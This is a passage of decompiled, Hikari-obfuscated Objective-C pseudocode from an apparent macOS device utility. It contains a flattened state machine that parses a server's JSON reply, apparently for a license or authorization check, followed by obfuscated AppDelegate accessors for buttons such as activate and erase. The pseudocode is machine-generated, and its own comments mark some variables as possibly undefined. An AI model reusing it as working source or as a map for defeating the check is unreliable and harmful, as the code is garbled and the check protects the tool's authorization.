v5 = 28007634;
v7 = 652935997;
goto LABEL_434;
case 371418978:
*v70 = 851381981;
break;
case 372183277:
*v70 = 1731597380;
break;
}
}
else
{
switch ( v49 )
{
case 169456681:
*(_QWORD *)(v45 + 24) = 1;
*v70 = -741604665;
break;
case 188913042:
v10 = 1;
v5 = 794822279;
v11 = -2012037473;
goto LABEL_441;
case 303986980:
*v70 = 1289364685;
break;
}
}
}
else if ( v49 > 531290534 )
{
if ( v49 > 616707365 )
{
switch ( v49 )
{
case 616707366:
*v70 = -344385332;
break;
case 625621249:
*v70 = 2143464365;
break;
case 643457652:
objc_release(v55);
v5 = 1130983284;
goto LABEL_451;
}
}
else
{
switch ( v49 )
{
case 531290535:
*v54 = 3;
LABEL_392:
*v70 = 1174548382;
break;
case 583553802:
*v70 = -571553116;
break;
case 609962421:
v6 = !v65;
v5 = -974259023;
v7 = 1342173959;
goto LABEL_434;
}
}
}
else if ( v49 > 434198901 )
{
switch ( v49 )
{
case 434198902:
v59 = v48 == 0;
*v70 = 1029263914;
break;
case 462694338:
v27 = HikariFunctionWrapper_19361(v39, v40);
objc_retainAutoreleasedReturnValue(v27);
objc_retain(*v56);
*v70 = -461731956;
break;
case 528593076:
*v70 = 912798955;
break;
}
}
else
{
switch ( v49 )
{
case 390342236:
v5 = 367614523;
goto LABEL_451;
case 399733648:
v10 = 0;
v5 = -1468374117;
v11 = 1624682844;
goto LABEL_441;
case 401656010:
LABEL_317:
*v70 = 135785520;
break;
}
}
}
else if ( v49 > 809512510 )
{
if ( v49 > 876151014 )
{
if ( v49 > 1003916465 )
{
switch ( v49 )
{
case 1003916466:
*v70 = 188913042;
break;
case 1029263914:
v6 = 0;
v5 = 1683498434;
v7 = 1484339691;
LABEL_434:
if ( !v6 )
v5 = v7;
LABEL_451:
*v70 = v5;
break;
case 1038053309:
v8 = 1;
v5 = -760994614;
v9 = 713785757;
goto LABEL_446;
}
}
else
{
switch ( v49 )
{
case 876151015:
v22 = objc_alloc((Class)&OBJC_CLASS___NSString);
objc_msgSend(v22, "initWithData:encoding:", a2, 4);
*v70 = -246329002;
break;
case 908860522:
objc_release(v57);
*v70 = -1207852690;
break;
case 912798955:
v10 = 1;
v29 = (__int64 *)(*(_QWORD *)(a1 + 40) + 8LL);
v5 = 528593076;
v11 = -892290382;
goto LABEL_441;
}
}
}
else if ( v49 > 851381980 )
{
switch ( v49 )
{
case 851381981:
v8 = 1;
v5 = -173665271;
v9 = -89550698;
goto LABEL_446;
case 858664971:
*(_QWORD *)(v31 + 24) = 3;
dispatch_semaphore_signal(*(dispatch_semaphore_t *)(a1 + 32));
*v70 = -1671566254;
break;
case 868772555:
*v70 = 434198902;
break;
}
}
else
{
switch ( v49 )
{
case 809512511:
*v70 = -696345730;
break;
case 814671471:
objc_release(v55);
goto LABEL_421;
case 841293443:
*(_QWORD *)(v41 + 24) = 3;
*v70 = -1176678730;
break;
}
}
}
else if ( v49 > 713785756 )
{
if ( v49 > 761181748 )
{
switch ( v49 )
{
case 761181749:
HikariFunctionWrapper_19363(v53, v43);
objc_release(v53);
HikariFunctionWrapper_19365(v57, "isEqualToString:");
*v70 = -1691734624;
break;
case 769002391:
aWq[2] = 105;
aWq[3] = 116;
aWq[4] = 95;
aWq[5] = 118;
aWq[6] = 97;
aWq[7] = 108;
aWq[8] = 105;
aWq[9] = 100;
aWq[10] = 0;
aDXY[0] = 111;
aDXY[1] = 117;
aDXY[2] = 116;
aDXY[3] = 100;
aDXY[4] = 97;
aDXY[5] = 116;
aDXY[6] = 101;
aDXY[7] = 100;
aDXY[8] = 0;
strcpy(asc_10029067D, "unauthorized");
v10 = 1;
v5 = 769002391;
v11 = -1369804197;
goto LABEL_441;
case 794822279:
*v70 = -2012037473;
break;
}
}
else
{
switch ( v49 )
{
case 713785757:
*(_QWORD *)(*(_QWORD *)(*(_QWORD *)v44 + 8LL) + 24LL) = 0;
*v70 = -760994614;
break;
case 719531347:
objc_release(v51);
*v70 = -1671566254;
break;
case 723056350:
v12 = objc_msgSend(v58, "objectForKeyedSubscript:", CFSTR("\xC1\xA2\xFC\xC2\x12\xB1t"));
objc_retainAutoreleasedReturnValue(v12);
v13 = objc_msgSend(v58, "objectForKeyedSubscript:", CFSTR("#wQ\xAAȻ\x02N\xA8/i"));
objc_retainAutoreleasedReturnValue(v13);
*v70 = -1708867917;
break;
}
}
}
else if ( v49 > 668564212 )
{
switch ( v49 )
{
case 668564213:
v23 = HikariFunctionWrapper_19345(v55, "dataUsingEncoding:");
v24 = objc_retainAutoreleasedReturnValue(v23);
v10 = 0;
v51 = v24;
v39 = &OBJC_CLASS___NSJSONSerialization;
*v56 = 0;
v5 = -636003908;
v11 = 668564213;
goto LABEL_441;
case 686392142:
objc_release(v32);
*v70 = 719531347;
break;
case 705906274:
*v70 = -742611926;
break;
}
}
else
{
switch ( v49 )
{
case 652935997:
*v70 = -1772306135;
break;
case 659928732:
v10 = 0;
v5 = 668564213;
v11 = -1262461297;
goto LABEL_441;
case 663256445:
v40 = "JSONObjectWithData:options:error:";
v5 = 1414092299;
goto LABEL_451;
}
}
}
if ( v49 > -897907383 )
break;
if ( v49 <= -1517583312 )
{
if ( v49 <= -1812944054 )
{
if ( v49 <= -1966580598 )
{
if ( v49 <= -2012037474 )
{
if ( v49 == -2099236120 )
{
v6 = 0;
v5 = -1843156356;
v7 = 1467245027;
goto LABEL_434;
}
if ( v49 == -2055996846 )
*v70 = -101347025;
}
else
{
switch ( v49 )
{
case -2012037473:
v8 = 0;
v36 = *v35;
v5 = 794822279;
v9 = 1910194524;
goto LABEL_446;
case -2001765594:
v8 = 1;
v60 = ~((v37 == 0) ^ (a2 != 0)) & (v37 == 0 || a2 != 0);
v5 = 583553802;
v9 = 1760221141;
goto LABEL_446;
case -1992122965:
*v70 = -246329002;
break;
}
}
}
else if ( v49 > -1864970113 )
{
switch ( v49 )
{
case -1864970112:
goto LABEL_392;
case -1843156356:
*v70 = 1467245027;
break;
case -1821134500:
v8 = 1;
v5 = -1872871998;
v9 = -544151773;
goto LABEL_446;
}
}
else
{
switch ( v49 )
{
case -1966580597:
v10 = 1;
v41 = *(_QWORD *)(*(_QWORD *)(a1 + 40) + 8LL);
v5 = -1966580597;
v11 = 809512511;
goto LABEL_441;
case -1933083442:
v6 = !v62;
v5 = -1602637159;
LABEL_416:
v7 = 1917327289;
goto LABEL_434;
case -1872871998:
v64 = v63 == 0;
v5 = 87992028;
goto LABEL_451;
}
}
}
else if ( v49 > -1640170099 )
{
if ( v49 > -1602637160 )
{
switch ( v49 )
{
case -1602637159:
v5 = -308868846;
goto LABEL_451;
case -1597646584:
v8 = 0;
v5 = -1597646584;
v9 = -55530154;
goto LABEL_446;
case -1576377221:
v8 = 0;
v5 = -1414365823;
v9 = 663256445;
goto LABEL_446;
}
}
else
{
switch ( v49 )
{
case -1640170098:
v10 = 1;
v5 = 723056350;
v11 = -1708867917;
goto LABEL_441;
case -1633059854:
aWq[0] = v69 ^ 0xB9;
aWq[1] = 110;
*v70 = -104166803;
break;
case -1616896291:
objc_release(v58);
v8 = 1;
v5 = -636303353;
v9 = -730739426;
goto LABEL_446;
}
}
}
else if ( v49 > -1708867918 )
{
switch ( v49 )
{
case -1708867917:
v17 = objc_msgSend(v58, "objectForKeyedSubscript:", CFSTR("\xC1\xA2\xFC\xC2\x12\xB1t"));
v57 = objc_retainAutoreleasedReturnValue(v17);
v18 = objc_msgSend(v58, "objectForKeyedSubscript:", CFSTR("#wQ\xAAȻ\x02N\xA8/i"));
v19 = objc_retainAutoreleasedReturnValue(v18);
v8 = 0;
v53 = v19;
v43 = "boolValue";
v5 = -1708867917;
v9 = -147025335;
goto LABEL_446;
case -1691734624:
v25 = (unsigned __int8)objc_msgSend(v53, v43);
objc_release(v53);
v52 = "isEqualToString:";
v26 = (unsigned __int8)HikariFunctionWrapper_19355(v57, "isEqualToString:");
v8 = 1;
v65 = v26 != 0 && v25 != 0;
v5 = 1227103331;
v9 = 761181749;
goto LABEL_446;
case -1671566254:
LABEL_421:
*v70 = 643457652;
break;
}
}
else
{
switch ( v49 )
{
case -1812944053:
v10 = v47 < 0xCA0EDA32;
v5 = -1021119699;
v11 = 143786856;
goto LABEL_441;
case -1772306135:
*v70 = -2001765594;
break;
case -1737974622:
objc_release(a2);
v6 = 0;
v5 = 1468971547;
v7 = 1830131648;
goto LABEL_434;
}
}
}
else if ( v49 > -1226688815 )
{
if ( v49 > -1142141213 )
{
if ( v49 > -974259024 )
{
switch ( v49 )
{
case -974259023:
v66 = (unsigned __int8)HikariFunctionWrapper_19357(v57, v52);
*v70 = -599858122;
break;
case -967743206:
*v70 = -727139918;
break;
case -938339431:
v61 = v55 == 0;
v6 = 0;
v5 = -938339431;
v7 = -112881761;
goto LABEL_434;
}
}
else
{
switch ( v49 )
{
case -1142141212:
v8 = 1;
v5 = -255390847;
v9 = 1742509680;
goto LABEL_446;
case -1021119699:
*v70 = 143786856;
break;
case -986639260:
asc_1002906BF[0] = 115;
asc_1002906BF[1] = 116;
asc_1002906BF[2] = 97;
asc_1002906BF[3] = 116;
asc_1002906BF[4] = 117;
asc_1002906BF[5] = 115;
asc_1002906BF[6] = 0;
aKa[0] = 111;
v8 = 0;
aKa[1] = 107;
aKa[2] = 0;
v69 = -48;
v5 = 1210443161;
v9 = -1253397681;
goto LABEL_446;
}
}
}
else if ( v49 > -1214023139 )
{
switch ( v49 )
{
case -1214023138:
objc_release(v50);
v5 = 1564688277;
goto LABEL_451;
case -1207852690:
objc_release(v57);
v6 = 0;
v5 = -1207852690;
v7 = 1977605249;
goto LABEL_434;
case -1176678730:
v8 = 0;
*(_QWORD *)(v41 + 24) = 3;
v42 = (dispatch_semaphore_t *)(a1 + 32);
v5 = -1176678730;
v9 = -460806629;
goto LABEL_446;
}
}
else
{
switch ( v49 )
{
case -1226688814:
*v70 = -741604665;
break;
case -1217151849:
dispatch_semaphore_signal(*v46);
*v70 = -889211901;
break;
case -1214643840:
v10 = 1;
v5 = 1210443161;
v11 = -986639260;
goto LABEL_441;
}
}
}
else if ( v49 > -1273676590 )
{
if ( v49 > -1253397682 )
{
switch ( v49 )
{
case -1253397681:
*v70 = 1151529587;
break;
case -1251769851:
goto LABEL_317;
case -1243332474:
*v70 = -938339431;
break;
}
}
else
{
switch ( v49 )
{
case -1273676589:
aWq[2] = 105;
aWq[3] = 116;
aWq[4] = 95;
aWq[5] = 118;
aWq[6] = 97;
aWq[7] = 108;
aWq[8] = 105;
aWq[9] = 100;
aWq[10] = 0;
aDXY[0] = 111;
aDXY[1] = 117;
aDXY[2] = 116;
aDXY[3] = 100;
aDXY[4] = 97;
aDXY[5] = 116;
aDXY[6] = 101;
aDXY[7] = 100;
aDXY[8] = 0;
strcpy(asc_10029067D, "unauthorized");
*v70 = 769002391;
break;
case -1262461297:
v21 = objc_msgSend(v55, "dataUsingEncoding:", 4);
objc_retainAutoreleasedReturnValue(v21);
*v56 = 0;
*v70 = 668564213;
break;
case -1257525221:
v5 = -727139918;
goto LABEL_451;
}
}
}
else if ( v49 > -1376190756 )
{
switch ( v49 )
{
case -1376190755:
*v70 = -502076232;
break;
case -1369804197:
*v70 = 390342236;
break;
case -1289429436:
HikariFunctionWrapper_19349(v33, v34);
v63 = (unsigned __int8)HikariFunctionWrapper_19351(v58, "isKindOfClass:");
*v70 = -1821134500;
break;
}
}
else
{
switch ( v49 )
{
case -1517583311:
*v70 = -1289429436;
break;
case -1468374117:
v5 = -1251769851;
goto LABEL_451;
case -1414365823:
*v70 = 663256445;
break;
}
}
}
if ( v49 > -461731957 )
break;
if ( v49 > -696345731 )
{
if ( v49 > -579371402 )
{
if ( v49 > -544151774 )
{
switch ( v49 )
{
case -544151773:
*v70 = -1872871998;
break;
case -502076232:
v6 = 0;
v44 = a1 + 40;
v5 = -502076232;
v7 = -360894254;
goto LABEL_434;
case -467954327:
v8 = 1;
v5 = 912798955;
v9 = 528593076;
goto LABEL_446;
}
}
else
{
switch ( v49 )
{
case -579371401:
*(_QWORD *)(v38 + 24) = 3;
dispatch_semaphore_signal(*(dispatch_semaphore_t *)(a1 + 32));
*v70 = -354747629;
break;
case -571553116:
v6 = v60 == 0;
v5 = -467954327;
v7 = -1992122965;
goto LABEL_434;
case -563337340:
*v70 = 401656010;
break;
}
}
}
else if ( v49 > -636003909 )
{
switch ( v49 )
{
case -636003908:
*v70 = -1576377221;
break;
case -631624588:
*v70 = 140971572;
break;
case -599858122:
v67 = v66 == 0;
*v70 = -700117611;
break;
}
}
else
{
switch ( v49 )
{
case -696345730:
v8 = 0;
v5 = 841293443;
v9 = -1176678730;
goto LABEL_446;
case -636725942:
v6 = 0;
v5 = 761181749;
v7 = -1691734624;
goto LABEL_434;
case -636303353:
*v70 = 686392142;
break;
}
}
}
else if ( v49 > -742611927 )
{
if ( v49 > -730739427 )
{
switch ( v49 )
{
case -730739426:
objc_release(v58);
*v70 = -1616896291;
break;
case -727139918:
v8 = 1;
v54 = (_QWORD *)(*(_QWORD *)(v36 + 8) + 24LL);
v5 = 1733656219;
v9 = -967743206;
goto LABEL_446;
case -700117611:
v6 = !v67;
v5 = 1971423674;
v7 = 1765367423;
goto LABEL_434;
}
}
else
{
switch ( v49 )
{
case -742611926:
v10 = 0;
v5 = -1616896291;
v11 = -730739426;
goto LABEL_441;
case -741604665:
v10 = 1;
*(_QWORD *)(v45 + 24) = 1;
v5 = -741604665;
v11 = -563337340;
goto LABEL_441;
case -741364830:
*v70 = -938339431;
break;
}
}
}
else if ( v49 > -889211902 )
{
switch ( v49 )
{
case -889211901:
dispatch_semaphore_signal(*v46);
v8 = 0;
v5 = -889211901;
v9 = 625621249;
goto LABEL_446;
case -793725428:
*v70 = -1597646584;
break;
case -760994614:
v10 = 0;
*(_QWORD *)(*(_QWORD *)(*(_QWORD *)v44 + 8LL) + 24LL) = 0;
v5 = 1129915150;
v11 = 713785757;
goto LABEL_441;
}
}
else
{
switch ( v49 )
{
case -897907382:
v8 = 0;
*v54 = 2;
v5 = 1122315977;
v9 = 371418978;
goto LABEL_446;
case -896355455:
v10 = 0;
v5 = -897907382;
v11 = 1122315977;
goto LABEL_441;
case -892290382:
*v70 = 1897905494;
break;
}
}
}
if ( v49 > -173665272 )
break;
if ( v49 > -308868847 )
{
if ( v49 > -270546793 )
{
switch ( v49 )
{
case -270546792:
v8 = 0;
v5 = 1243030237;
v9 = 1537239218;
goto LABEL_446;
case -255390847:
HikariFunctionWrapper_19353(*v42);
*v70 = 705906274;
break;
case -246329002:
v14 = objc_alloc((Class)&OBJC_CLASS___NSString);
v15 = HikariFunctionWrapper_19341(v14, "initWithData:encoding:");
v6 = 0;
v50 = v15;
v5 = -246329002;
v7 = 1607333397;
goto LABEL_434;
}
}
else
{
switch ( v49 )
{
case -308868846:
v8 = 1;
v33 = &OBJC_CLASS___NSDictionary;
v34 = "class";
v5 = -1517583311;
v9 = -311587130;
goto LABEL_446;
case -277218773:
v8 = 1;
v38 = *v29;
v5 = 121182866;
v9 = 1761601757;
goto LABEL_446;
case -275733218:
v6 = !v59;
v5 = 390342236;
v7 = -1214643840;
goto LABEL_434;
}
}
}
else if ( v49 > -354747630 )
{
switch ( v49 )
{
case -354747629:
*(_QWORD *)(v38 + 24) = 3;
HikariFunctionWrapper_19339(*(dispatch_semaphore_s **)(a1 + 32));
v8 = 1;
v5 = 303986980;
LABEL_356:
v9 = -354747629;
goto LABEL_446;
case -344385332:
v6 = 0;
v5 = -1217151849;
v7 = -889211901;
goto LABEL_434;
case -311587130:
*v70 = -308868846;
break;
}
}
else
{
switch ( v49 )
{
case -461731956:
v20 = HikariFunctionWrapper_19347(v39, v40);
v58 = objc_retainAutoreleasedReturnValue(v20);
v32 = *v56;
objc_retain(v32);
v62 = v58 == 0;
v5 = -1933083442;
goto LABEL_451;
case -460806629:
*v70 = -1142141212;
break;
case -360894254:
*v70 = 1038053309;
break;
}
}
}
if ( v49 > -67342751 )
break;
if ( v49 > -104166804 )
{
switch ( v49 )
{
case -104166803:
*v70 = 1451819950;
break;
case -101347025:
v8 = 1;
v5 = -42010620;
LABEL_387:
v9 = -41639973;
LABEL_446:
if ( !v8 )
v5 = v9;
goto LABEL_451;
case -89550698:
*v70 = -173665271;
break;
}
}
else
{
switch ( v49 )
{
case -173665271:
v5 = 1207842571;
goto LABEL_451;
case -147025335:
*v70 = -636725942;
break;
case -112881761:
v6 = !v61;
v5 = 659928732;
v7 = -2099236120;
goto LABEL_434;
}
}
}
if ( v49 <= -41639974 )
break;
switch ( v49 )
{
case -41639973:
*v70 = -42010620;
break;
case -31809234:
v5 = -1597646584;
goto LABEL_451;
case 28007634:
dword_10029F6AC = 1;
objc_retain(a2);
*v70 = 367614523;
break;
}
}
if ( v49 == -67342750 )
{
v8 = 0;
v46 = (dispatch_semaphore_t *)(a1 + 32);
v5 = 1256786864;
v9 = 616707366;
goto LABEL_446;
}
if ( v49 == -42010620 )
{
v8 = 1;
v31 = *(_QWORD *)(*(_QWORD *)v30 + 8LL);
v5 = 1151995641;
goto LABEL_387;
}
}
while ( v49 != -55530154 );
return result;
}
// 1002906F0: using guessed type __CFString stru_1002906F0;
// 1002907B0: using guessed type __CFString cfstr_Wq;
// 1002907F0: using guessed type __CFString stru_1002907F0;
// 10029F6AC: using guessed type int dword_10029F6AC;
//----- (000000010021859E) ----------------------------------------------------
NSTabView *__cdecl -[AppDelegate panel_viewConnection](AppDelegate *self, SEL a2)
{
int v2; // eax
id *location; // [rsp+8h] [rbp-48h]
NSTabView *WeakRetained; // [rsp+10h] [rbp-40h]
int v6; // [rsp+1Ch] [rbp-34h] BYREF
int *v7; // [rsp+20h] [rbp-30h]
v6 = -416254594;
v7 = &v6;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v6 <= -165128280 )
{
if ( v6 > -464590278 )
{
if ( v6 == -464590277 )
{
v2 = -165128279;
goto LABEL_21;
}
if ( v6 == -416254594 )
{
v2 = -72846752;
goto LABEL_21;
}
}
else if ( v6 == -867638028 )
{
*v7 = -72846752;
}
else if ( v6 == -722149357 )
{
v2 = -464590277;
goto LABEL_21;
}
}
if ( v6 <= 1372880031 )
break;
if ( v6 == 1372880032 )
{
*v7 = 733457085;
}
else if ( v6 == 2100023999 )
{
*v7 = -464590277;
}
}
if ( v6 != -72846752 )
break;
location = (id *)&self->_panel_viewConnection;
v2 = 1372880032;
LABEL_21:
*v7 = v2;
}
if ( v6 != 733457085 )
break;
WeakRetained = (NSTabView *)objc_loadWeakRetained(location);
objc_autoreleaseReturnValue(WeakRetained);
*v7 = -722149357;
}
}
while ( v6 != -165128279 );
return WeakRetained;
}
// 1002186C8: conditional instruction was optimized away because %var_38.4==B61C0DEA
// 100218629: variable 'location' is possibly undefined
// 10021876E: variable 'WeakRetained' is possibly undefined
//----- (0000000100218781) ----------------------------------------------------
void __cdecl -[AppDelegate setPanel_viewConnection:](AppDelegate *self, SEL a2, id a3)
{
int v4; // eax
int v5; // ecx
id *location; // [rsp+0h] [rbp-40h]
int v7; // [rsp+Ch] [rbp-34h] BYREF
int *v8; // [rsp+10h] [rbp-30h]
location = (id *)&self->_panel_viewConnection;
v7 = 668119676;
v8 = &v7;
do
{
while ( 1 )
{
while ( v7 > 203339265 )
{
if ( v7 > 1002489697 )
{
if ( v7 == 1002489698 )
{
*v8 = -578611521;
}
else if ( v7 == 1836119707 )
{
*v8 = 155025754;
}
}
else if ( v7 == 203339266 )
{
objc_storeWeak(location, a3);
*v8 = 77087843;
}
else if ( v7 == 668119676 )
{
v4 = 77087843;
goto LABEL_18;
}
}
if ( v7 <= 77087842 )
break;
if ( v7 == 77087843 )
{
objc_storeWeak(location, a3);
v4 = 1836119707;
LABEL_18:
*v8 = v4;
}
else if ( v7 == 155025754 )
{
v5 = -578611521;
LABEL_16:
v4 = v5;
goto LABEL_18;
}
}
if ( v7 == -578611521 )
{
v5 = -691952448;
goto LABEL_16;
}
}
while ( v7 != -691952448 );
}
// 10021892E: conditional instruction was optimized away because cf.1==0
//----- (00000001002189C5) ----------------------------------------------------
NSImageView *__cdecl -[AppDelegate Model_Image](AppDelegate *self, SEL a2)
{
int v2; // eax
id v3; // rax
NSImageView *WeakRetained; // [rsp+8h] [rbp-48h]
id *location; // [rsp+10h] [rbp-40h]
int v7; // [rsp+1Ch] [rbp-34h] BYREF
int *v8; // [rsp+20h] [rbp-30h]
location = (id *)&self->_Model_Image;
v7 = -1782798667;
v8 = &v7;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v7 <= 730574598 )
{
if ( v7 > -1289759539 )
{
if ( v7 == -1289759538 )
goto LABEL_14;
if ( v7 == -112288674 )
*v8 = 1540732479;
}
else if ( v7 == -1952931797 )
{
v2 = 1767507327;
LABEL_19:
*v8 = v2;
}
else if ( v7 == -1782798667 )
{
v2 = 730574599;
goto LABEL_19;
}
}
if ( v7 > 1767507326 )
break;
if ( v7 == 730574599 )
{
WeakRetained = (NSImageView *)objc_loadWeakRetained(location);
objc_autoreleaseReturnValue(WeakRetained);
v2 = -112288674;
goto LABEL_19;
}
if ( v7 == 1540732479 )
LABEL_14:
*v8 = -1952931797;
}
if ( v7 != 1857562289 )
break;
v3 = objc_loadWeakRetained(location);
objc_autoreleaseReturnValue(v3);
*v8 = 730574599;
}
}
while ( v7 != 1767507327 );
return WeakRetained;
}
// 100218B8C: variable 'WeakRetained' is possibly undefined
//----- (0000000100218B9F) ----------------------------------------------------
void __cdecl -[AppDelegate setModel_Image:](AppDelegate *self, SEL a2, id a3)
{
char v4; // cf
int v5; // eax
int v6; // ecx
char v7; // cf
int v8; // ecx
id *location; // [rsp+0h] [rbp-40h]
int v10; // [rsp+Ch] [rbp-34h] BYREF
int *v11; // [rsp+10h] [rbp-30h]
v10 = 1891713143;
v11 = &v10;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v10 <= 129994579 )
{
if ( v10 > -398962327 )
{
switch ( v10 )
{
case -398962326:
v7 = 0;
v5 = 1736814780;
v8 = -221964371;
goto LABEL_30;
case -221964371:
v7 = 1;
v5 = 1308632463;
v8 = 1736814780;
LABEL_30:
if ( !v7 )
v5 = v8;
LABEL_32:
*v11 = v5;
break;
case 34036501:
objc_storeWeak(location, a3);
v5 = 1313413236;
goto LABEL_32;
}
}
else
{
switch ( v10 )
{
case -1564657138:
goto LABEL_20;
case -1507566023:
v4 = 1;
location = (id *)&self->_Model_Image;
v5 = -1087658897;
v6 = 129994580;
LABEL_26:
if ( v4 )
v5 = v6;
goto LABEL_32;
case -1087658897:
*v11 = -1507566023;
break;
}
}
}
if ( v10 <= 1313413235 )
break;
switch ( v10 )
{
case 1313413236:
*v11 = -398962326;
break;
case 1736814780:
*v11 = -221964371;
break;
case 1891713143:
v4 = 0;
v5 = -1507566023;
v6 = -1087658897;
goto LABEL_26;
}
}
if ( v10 != 129994580 )
break;
*v11 = -1564657138;
}
if ( v10 != 575959629 )
break;
objc_storeWeak(location, a3);
LABEL_20:
*v11 = 34036501;
}
}
while ( v10 != 1308632463 );
}
// 100218CE0: variable 'location' is possibly undefined
//----- (0000000100218E5A) ----------------------------------------------------
NSButton *__cdecl -[AppDelegate activateButton](AppDelegate *self, SEL a2)
{
NSButton **p_activateButton; // rdi
int v3; // eax
NSButton **v5; // [rsp+0h] [rbp-28h]
NSButton *v6; // [rsp+8h] [rbp-20h]
NSButton *v7; // [rsp+10h] [rbp-18h]
int v8; // [rsp+1Ch] [rbp-Ch] BYREF
int *v9; // [rsp+20h] [rbp-8h]
v8 = -1924295505;
v9 = &v8;
p_activateButton = &self->_activateButton;
do
{
while ( 1 )
{
while ( v8 <= 492948379 )
{
if ( v8 > 136552082 )
{
if ( v8 == 136552083 )
{
*v9 = 950085481;
}
else if ( v8 == 303904144 )
{
*v9 = 1758153076;
}
}
else if ( v8 == -1924295505 )
{
v3 = 950085481;
LABEL_19:
*v9 = v3;
}
else if ( v8 == -165205181 )
{
LABEL_10:
*v9 = 1834878230;
}
}
if ( v8 <= 1758153075 )
break;
if ( v8 == 1758153076 )
{
v6 = *v5;
*v9 = 691100372;
}
else if ( v8 == 1834878230 )
{
v7 = v6;
v3 = 492948380;
goto LABEL_19;
}
}
if ( v8 == 691100372 )
goto LABEL_10;
if ( v8 == 950085481 )
{
v5 = p_activateButton;
v3 = 303904144;
goto LABEL_19;
}
}
while ( v8 != 492948380 );
return v7;
}
// 10021901C: conditional instruction was optimized away because %var_10.4==CC478120
// 100218FC6: variable 'v6' is possibly undefined
// 100218FFD: variable 'v5' is possibly undefined
// 100219044: variable 'v7' is possibly undefined
//----- (000000010021904A) ----------------------------------------------------
void __cdecl -[AppDelegate setActivateButton:](AppDelegate *self, SEL a2, id a3)
{
NSButton **p_activateButton; // rdi
int v4; // eax
NSButton **v5; // [rsp+0h] [rbp-20h]
NSButton *v6; // [rsp+8h] [rbp-18h]
int v7; // [rsp+14h] [rbp-Ch] BYREF
int *v8; // [rsp+18h] [rbp-8h]
v7 = -452433273;
v8 = &v7;
p_activateButton = &self->_activateButton;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v7 > -452433274 )
{
if ( v7 > 661714954 )
{
if ( v7 == 661714955 )
{
v6 = (NSButton *)a3;
v4 = -65456241;
LABEL_21:
*v8 = v4;
}
else if ( v7 == 1226927043 )
{
*v8 = -738862630;
}
}
else
{
if ( v7 == -452433273 )
{
v4 = -738862630;
goto LABEL_21;
}
if ( v7 == -65456241 )
*v8 = -995349483;
}
}
if ( v7 <= -738862631 )
break;
if ( v7 == -738862630 )
{
v5 = p_activateButton;
v4 = -1025238014;
goto LABEL_21;
}
if ( v7 == -731255623 )
LABEL_14:
*v8 = 661714955;
}
if ( v7 != -1025238014 )
break;
*v8 = -947173452;
}
if ( v7 == -947173452 )
goto LABEL_14;
}
while ( v7 != -995349483 );
*v5 = v6;
}
// 10021914E: conditional instruction was optimized away because %var_10.4==825ADD5F
// 1002191AF: variable 'v6' is possibly undefined
// 1002191AF: variable 'v5' is possibly undefined
//----- (00000001002191B4) ----------------------------------------------------
NSButton *__cdecl -[AppDelegate EraseButton](AppDelegate *self, SEL a2)
{
NSButton **p_EraseButton; // rdi
int v3; // eax
char v4; // cf
NSButton **v6; // [rsp+0h] [rbp-40h]
NSButton *v7; // [rsp+8h] [rbp-38h]
NSButton *v8; // [rsp+10h] [rbp-30h]
int v9; // [rsp+1Ch] [rbp-24h] BYREF
int *v10; // [rsp+20h] [rbp-20h]
v9 = 2017673638;
v10 = &v9;
p_EraseButton = &self->_EraseButton;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v9 > -149865470 )
{
if ( v9 > 1002427303 )
{
switch ( v9 )
{
case 1002427304:
v3 = 971169535;
goto LABEL_29;
case 1855751795:
*v10 = 1002427304;
break;
case 2017673638:
v4 = 0;
v3 = -1184436185;
goto LABEL_21;
}
}
else
{
switch ( v9 )
{
case -149865469:
*v10 = 921434247;
break;
case 921434247:
v3 = -1837114331;
goto LABEL_29;
case 971169535:
v8 = v7;
v3 = -955740596;
goto LABEL_29;
}
}
}
if ( v9 > -1184436186 )
break;
switch ( v9 )
{
case -2054075543:
v4 = 1;
v6 = p_EraseButton;
v3 = -149865469;
LABEL_21:
if ( !v4 )
v3 = -2054075543;
LABEL_29:
*v10 = v3;
break;
case -1887310993:
*v10 = -1837114331;
break;
case -1837114331:
v7 = *v6;
v3 = 1855751795;
goto LABEL_29;
}
}
if ( v9 != -1184436185 )
break;
*v10 = -2054075543;
}
if ( v9 != -423802863 )
break;
*v10 = 971169535;
}
}
while ( v9 != -955740596 );
return v8;
}
// 10021927F: variable 'v7' is possibly undefined
// 1002192EC: variable 'v6' is possibly undefined
// 10021945F: variable 'v8' is possibly undefined
//----- (000000010021946A) ----------------------------------------------------
void __cdecl -[AppDelegate setEraseButton:](AppDelegate *self, SEL a2, id a3)
{
NSButton **p_EraseButton; // rdi
int v4; // eax
NSButton **v5; // [rsp+0h] [rbp-30h]
NSButton *v6; // [rsp+8h] [rbp-28h]
int v7; // [rsp+14h] [rbp-1Ch] BYREF
int *v8; // [rsp+18h] [rbp-18h]
v7 = 1788225023;
v8 = &v7;
p_EraseButton = &self->_EraseButton;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v7 > -1071185968 )
{
if ( v7 > 1493925656 )
{
switch ( v7 )
{
case 1493925657:
*v5 = v6;
v4 = 313596790;
goto LABEL_25;
case 1759915343:
*v8 = 1218350428;
break;
case 1788225023:
v4 = -1071185967;
goto LABEL_25;
}
}
else
{
switch ( v7 )
{
case -1071185967:
v5 = p_EraseButton;
v6 = (NSButton *)a3;
v4 = 1759915343;
goto LABEL_25;
case 313596790:
*v8 = -1099528462;
break;
case 1218350428:
v4 = 1493925657;
goto LABEL_25;
}
}
}
if ( v7 > -1511301993 )
break;
switch ( v7 )
{
case -2101587812:
*v8 = -1828719673;
break;
case -1828719673:
v4 = -1511301992;
LABEL_25:
*v8 = v4;
break;
case -1667856054:
*v5 = v6;
*v8 = 1493925657;
break;
}
}
if ( v7 != -1467243077 )
break;
*v8 = -1071185967;
}
if ( v7 == -1099528462 )
{
v4 = -1828719673;
goto LABEL_25;
}
}
while ( v7 != -1511301992 );
}
// 1002195AE: conditional instruction was optimized away because %var_20.4==A2D6D10B
// 10021956F: variable 'v6' is possibly undefined
// 10021956F: variable 'v5' is possibly undefined
//----- (000000010021974B) ----------------------------------------------------
NSButton *__cdecl -[AppDelegate lockOtaChecked](AppDelegate *self, SEL a2)
{
NSButton **p_lockOtaChecked; // rdi
int v3; // r11d
NSButton **v5; // [rsp+0h] [rbp-38h]
NSButton *v6; // [rsp+8h] [rbp-30h]
